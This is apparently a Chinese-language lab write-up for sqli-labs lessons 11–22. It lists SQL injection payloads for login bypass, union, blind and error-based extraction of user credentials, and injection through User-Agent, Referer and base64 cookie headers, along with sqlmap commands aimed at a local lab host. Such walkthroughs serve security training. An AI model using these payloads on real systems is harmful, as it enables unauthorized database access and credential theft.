Less-11:出现登录界面
单引号字符型,POST注入。
1、在登录框输入用户名或密码'or''=',可以绕过验证。
2、注入点出现在表单,可以通过sqlmap post实现注入,因此需要burpsuite抓包,获得post数据,通过sqlmap --data 参数,注入。
python sqlmap.py -u "http://192.168.27.156/sqli-labs/Less-11/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs
在用户名输入 ‘ 密码随便输 出来报错
SELECT username, password FROM users WHERE username=''' and password='1' LIMIT 0,1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' LIMIT 0,1' at line 1
可以看到查询username和password用and连接放在同一个SQL语句中
那么就可以在此SQL语句中注释掉后面的密码,使得该SQL查询返回真,从而绕过密码成功登录。这里为了方便POST数据,我们使用Firefox的hackbar插件构造payload:
使用burp suite 进行重新发送,得出最后一句uname=admin&passwd=admin&submit=submit
uname=admin' or 1=1- -
&passwd=123&submit=Submit
uname=admin' or 1=1#
&passwd=123&submit=Submit
注意:因为它不对我们POST的数据URL解码,所以我们不能使用%20 %23这些,直接用#
和- -
进行注释即可。
uname=admin' or 1=1
limit 0,1# &passwd=123&submit=Submit
limit
0,1
是对第一个用户和密码进行
通过修改第一个数,得到其他的登录用户名
4. uname=a’ order by 3#&passwd=a &submit=Submit或者uname=a&passwd=a’ order by 2# &submit=Submit同样可以进行判断,最后得出一共有两列。
5. uname =a&passwd=a’union select database0,2 # &submit=Submit
查询到当前的数据库为security.或者uname=a’ union select database(),2 # &passwd=a&submit=Submit
均可以查询到当前的数据库,当然也可以查询其它信息。
6. uname =a’union select 1,(select schema_name from information_schema.schemata limit 1,1) #
&passwd=a&submit=Submit可以查询到当前的第一个数据库,或者uname=a’union select 1,selectgroup_concat(schema_name) from information_schema.schemata) # &passwd=a&submit=Submit可以得到所有的数据
7. uname=a’ union select 1,(select group_concat(table_name) from information_schema.tables where
table_schema=’security’ #&passwd=a&submit=submit /可以得到/security数据库中的所有表信息
Less-12:使用(”a”)包裹
双引号字符型,post注入
1、在登录框输入用户名或密码"or"1"="1,可以绕过验证。
2、注入点出现在表单,可以通过sqlmap post实现注入,因此需要burpsuite抓包,获得post数据uname=admin&passwd=admin&submit=Submit,通过sqlmap --data 参数,注入。
python sqlmap.py -u "http://192.168.27.156/sqli-labs/Less-12/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs
与第十一关一样
uname=a") union select 1,group_concat(concat(0x7e,username,password)) from security.users #&passwd=a &submit=submit
Less-13:单引号字符型变形,POST注入(在用户名处输入'后,报错near 'admin') LIMIT 0,1' at line 1)可以观察出引用变量时增加了'和)。
1、在登录框输入用户名或密码 admin') or (''=' ,可以绕过验证。
2、注入点出现在表单,可以通过sqlmap post实现注入,因此需要burpsuite抓包,获得post数据uname=admin&passwd=admin&submit=Submit,通过sqlmap --data 参数,注入。
python sqlmap.py -u "http://192.168.27.156/sqli-labs/Less-13/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs
使用(’a’)包裹 不返回结果,我们使用盲注进行破解
也可以使用burp suite进行破解
盲注的几种形式:
- selest length(database())
- 2.if((1>2),3,4)
- 3.left(database(),1)<拿出一个字符>
if(length (database())=8,1,sleep(5)); 判断数据库长度是8
uname=a') or length(database())=8#&passwd=a &submit=submit
uname=a') or left((select schema_name from information_schema.schemata limit 0,1),1)>'a'#&passwd=a &submit=submit 显示成功 (A-Z 0-9 _等)
通过修改schema_name来推测出表,列
Less-14:使用”a”进行包裹 双引号字符型,POST注入
1、在登录框输入用户名或密码 admin" or ""=" ,可以绕过验证。
2、注入点出现在表单,可以通过sqlmap post实现注入,因此需要burpsuite抓包,获得post数据uname=admin&passwd=admin&submit=Submit,通过sqlmap --data 参数,注入。
python sqlmap.py -u http://192.168.27.156/sqli-labs/Less-14/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs
其他的与第十三关一致
uname=a" or left((select schema_name from information_schema.schemata limit 0,1),1)>'u'#&passwd=a &submit=submit
Less-15: 使用'admin'包裹 单引号字符型,POST盲注。与之前相比,此处屏蔽了错误回显
其他的与第十三关一致
本关支持 时间盲注,支持布尔逻辑盲注。
1、在登录框输入用户名或密码 admin'or''=',可以绕过验证。
2、admin' and 1=1 and sleep(3) -- 基于时间盲注可以
3、admin' and 1=1 -- 基于布尔逻辑盲注
4、通过sqlmap post实现注入,因此需要burpsuite抓包,获得post数据uname=admin&passwd=admin&submit=Submit,通过sqlmap --data 参数,注入。
python sqlmap.py -u "http://192.168.27.156/sqli-labs/Less-15/" --data "uname=admin&passwd=admin&submit=Submit" -v 3 --dbs
uname=a’ or left((select schema_name from information_schema.schemata limit 0,1),1)>'u'#&passwd=a &submit=submit
Less-16: 使用 ("admin")包裹 双引号字符型,POST盲注。
其他的与第十三关一致
uname=a” or left((select schema_name from information_schema.schemata limit 0,1),1)>'u'#&passwd=a &submit=submit
Less-17: 字符型报错注入
在第十七关index.php里面添加echo $update; echo “<br>”;
当post里写 uname=admin’#&passwd=ad&submit=submit 不会有更新的那一条语句
当post里写 uname=admin&passwd=ad’#&submit=submit 就有更新的那一条语句,所以在passwd里对语句进行更改
根据index.php里面的代码我们可以看到使用get_magic_quotes_gpc 对name password分开进行验证,并且在验证时候对name进行了过滤处理,将’这个符号进行了转义。
首先必须知道用户的名字,然后进行操作,通过报错的方法得知信息
利用updatexml()函数报错
Uname=admin&passwd=ad’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 0,1),0x7e),1)#&submit=submit
通过查询,得到secuurity库下面的其中一个表的名字
Uname=admin&passwd=ad’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 0,1),0x7e),1)#&submit=submit
通过查询,得到secuurity.users里的其中一个列的名字
还可以利用floor()函数报错
爆数据库
123' and (select 1 from (select count(*),concat(user(),database(),floor(rand(0)*2))x from information_schema.schemata group by x)a) --
爆表名
123' and (select 1 from (select count(*),concat((select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.schemata group by x)a) --
爆字段
123' and (select 1 from (select count(*),concat((select concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.schemata group by x)a)--
爆内容
123' and (select 1 from (select count(*),concat((select concat(user,password) from dvwa.users limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.schemata group by x)a) --
还可以利用extractvalue()报错函数
and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
Less-18:字符型http头User-Agent注入
1.利用extractvalue()和updatexml()函数可以实现注入
本处能够看到页面回显用户的ip和user-agent信息,通过burp把登录过程抓包,
并在user-agent后面增加'(User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0')
页面报错:You have an error in your SQL syntax; check the manual that corresponds to your MariaD...
由此判断此处存在user-agent信息被写入到数据库,因此构造基于报错的注入。
爆库
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0' and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) and ''='
爆表
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0'and (updatexml(1,concat(0x7e,(select (select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),0x7e),1)) and ''='
爆列
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0'and (updatexml(1,concat(0x7e,(select (select concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)),0x7e),1)) and ''='
爆内容
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0'and (updatexml(1,concat(0x7e,(select (select concat(user,password) from dvwa.users limit 0,1)),0x7e),1)) and ''='
2.利用sqlmap在-level 3级别,会尝试http头注入;利用sqlmap可以利用--user-agent参数尝试注入。
建议在burp中将http请求 copy to file,保存文件例如req.txt(抓包需要输入正确的用户名和密码)
python sqlmap.py -r d:
eq.txt --user-agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0)Gecko/20100101 Firefox/66.0 --level 3
添加
使用mysql命令查看users里的用户名和对应的密码
登录成功后会有一行user agent
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('Mozilla/5.0 (Windows NT 5.2; rv:17.0) Gecko/20100101 Firefox/17.0', '127.0.0.1', 'admin')
比如这个:
两种方式:
第一种: ‘ or updatexml(1,concat(0x7e,(database())),1) or ‘1’=’1
第二种: ‘ or updatexml(1,concat(0x7e,(database())),1) , ‘’,’’)#
出来库
' or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1), '','')#
表
'or
updatexml(1,concat(0x7e,(select table_name from information_schema.tables where
table_schema='security' limit 0,1)),1), '','')#
列
'or
updatexml(1,concat(0x7e,(select column_name from information_schema.columns
where table_name='users' limit 0,1)),1), '','')#
字段
' or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1), '','')#
Less-19:字符型http头referer注入
其他与第18关一致
通过insert语句进行分析
INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('http://localhost/sqli-labs-master/sqli-labs-master/Less-19/', '127.0.0.1')
分析后得知,需要进行闭合操作,两种方法:
(1)' or updatexml(1,concat(0x7e,(database())),1) and '1'=‘1
(2)‘ or updatexml(1,concat(0x7e,(database())),1), ‘’)#
Less20:字符型http头cookie注入
在本关输入正确用户名和密码,在后续会话中可以看到cookie信息 uname=admin。
通过burp把后续请求导入到repeater模块,修改cooke 为 admin',
页面报错:Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''admin'' LIMIT 0,1' at line
由此判断此处存在cookie注入,构造报错注入
还可以使用sqlmap跑一下
利用sqlmap在-level 3级别,会尝试http头注入,利用--cookie参数尝试注入。
建议在burp中将http请求 copy to file,保存文件例如cookie.txt(抓包需要输入正确的用户名和密码)
python sqlmap.py -r d:cookie.txt --cookie "uname=admin; eyP_sid=dGHwDz; PHPSESSID=rveb2uvab9vavmas2e6hsv1tt6" --level 3
使用admin admin 登录
使用burp suite工具 刷新出来cookie ,更改cookie 使uname=admin’ ,点GO出来下图(有错误说明有漏洞)
猜测列数:
查看列数:uname=' order by 5 # 通过实验知道列数为3
看回显位置:uname=’union select 1,2,3#
库uname='union select 1,2,group_concat(schema_name)from information_schema.schemata#
表uname='union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'#
列uname='union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'#
字段uname='union select 1,2,group_concat(concat_ws('~',username,password))from security.users#
Less-21:基于cookie的base64编码注入(单引号)
第一种:admin admin 登录了之后
使用 https://base64.us 进行解码 看到就是admin
接下来修改cookie uname 后面的已经加密了的语句就可以了
uname=')union select 1,2,database()#
编码后为:
dW5hbWU9Jyl1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj
第二种: 利用sqlmap工具
输入正确的用户名和密码,可以从页面返回看出cookie被base64编码,因此尝试cookie注入时,需要将注入参数编码为base64
这里需要借助-tamper参数调用base64encode.py实现
python sqlmap.py -r d:21 --cookie "uname=YWRtaW4%3D; eyP_sid=dGHwDz; PHPSESSID=rveb2uvab9vavmas2e6hsv1tt6" --level 3 --tamper base64encode.py --batch
Less-22:基于cookie的base64编码注入(双引号)
admin admin登录 跟第21关一样
" union select ,2,database()#
编码后为:
IiB1bmlvbiBzZWxlY3QgLDIsZGF0YWJhc2UoKSM=